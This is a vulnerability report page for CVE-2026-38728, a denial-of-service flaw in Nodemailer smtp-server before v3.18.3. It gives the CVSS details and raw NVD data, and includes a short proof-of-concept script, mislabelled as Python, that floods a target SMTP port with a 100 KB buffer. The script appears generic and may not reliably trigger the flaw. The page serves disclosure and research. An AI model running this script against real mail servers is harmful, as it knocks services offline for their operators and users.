Security Vulnerability Report
中文
CVE-2026-38728 CVSS 7.5 HIGH

CVE-2026-38728

Published: 2026-05-15 15:16:51
Last Modified: 2026-05-15 16:16:14

Description

An issue in Nodemailer smtp_server before v.3.18.3 allows a remote attacker to cause a denial of service via the SMTPStream._write, lib/smtp-stream.js components

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Nodemailer smtp-server < v3.18.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2026-38728: Nodemailer smtp-server DoS // This script sends a large payload to trigger the stream handling issue const net = require('net'); const TARGET_HOST = '127.0.0.1'; // Replace with target IP const TARGET_PORT = 25; // Replace with target SMTP port const socket = net.createConnection(TARGET_PORT, TARGET_HOST, () => { console.log('[+] Connected to target. Sending malicious payload...'); // Sending a large buffer to potentially trigger the _write vulnerability // Adjust size based on specific memory limits of the target const maliciousPayload = Buffer.alloc(100000, 'A'); socket.write(maliciousPayload); }); socket.on('data', (data) => { console.log('[*] Server response:', data.toString()); }); socket.on('error', (err) => { console.error('[-] Connection error:', err.message); console.log('[-] The target might have crashed (DoS successful).'); }); socket.on('close', () => { console.log('[*] Connection closed.'); });

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-38728", "sourceIdentifier": "[email protected]", "published": "2026-05-15T15:16:51.197", "lastModified": "2026-05-15T16:16:14.463", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue in Nodemailer smtp_server before v.3.18.3 allows a remote attacker to cause a denial of service via the SMTPStream._write, lib/smtp-stream.js components"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "references": [{"url": "https://bytecreator.dev/blog/CVE-2026-38728", "source": "[email protected]"}, {"url": "https://github.com/nodemailer/smtp-server", "source": "[email protected]"}, {"url": "https://github.com/nodemailer/smtp-server/releases/tag/v3.18.3", "source": "[email protected]"}, {"url": "https://bytecreator.dev/blog/CVE-2026-38728", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}